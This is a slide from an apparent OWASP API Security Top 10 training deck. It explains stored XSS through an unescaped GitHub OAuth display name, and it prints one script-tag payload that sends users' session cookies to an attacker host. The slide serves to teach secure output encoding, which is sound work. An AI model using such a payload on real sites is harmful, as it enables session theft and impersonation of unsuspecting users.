Slide 16 of 28
Part 3 · Attack ScenariosSlide 16
Slide 16 · Scenario 3
A third-party social profile API returns XSS in a display name. The consuming API stores and renders it.
User-submitted names go through XSS sanitization. Names from “verified” social logins don’t.
📄 OWASP API Security Top 10 2023 · API10:2023 Example Attack Scenarios
SCENARIO 3
Stored XSS via unsanitized third-party OAuth profile field

A collaboration platform supports “Sign in with GitHub.” During login, the API fetches the user’s GitHub profile using the GitHub API and stores the returned name field as the user’s display name in the platform’s database.

The platform’s own profile update form applies HTML escaping to display names — this was added after an earlier XSS report. But the GitHub OAuth flow takes a different code path. The display name from GitHub is stored directly without escaping, because the developer assumed GitHub profiles contain valid, safe display names.

An attacker creates a GitHub account with the display name: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. They log into the platform with this GitHub account. The platform stores the XSS payload as their display name. Every user who views a project where this account is a collaborator has their session cookie exfiltrated. The attacker impersonates those users without ever touching the platform’s own user management.

The API10 failure: Output encoding was applied to user-submitted profile updates but not to profile data from OAuth providers. The fix: apply the same HTML escaping on output regardless of where the stored value originated. Trust in the data source does not determine whether escaping is needed — the render context does.
← Back The pattern →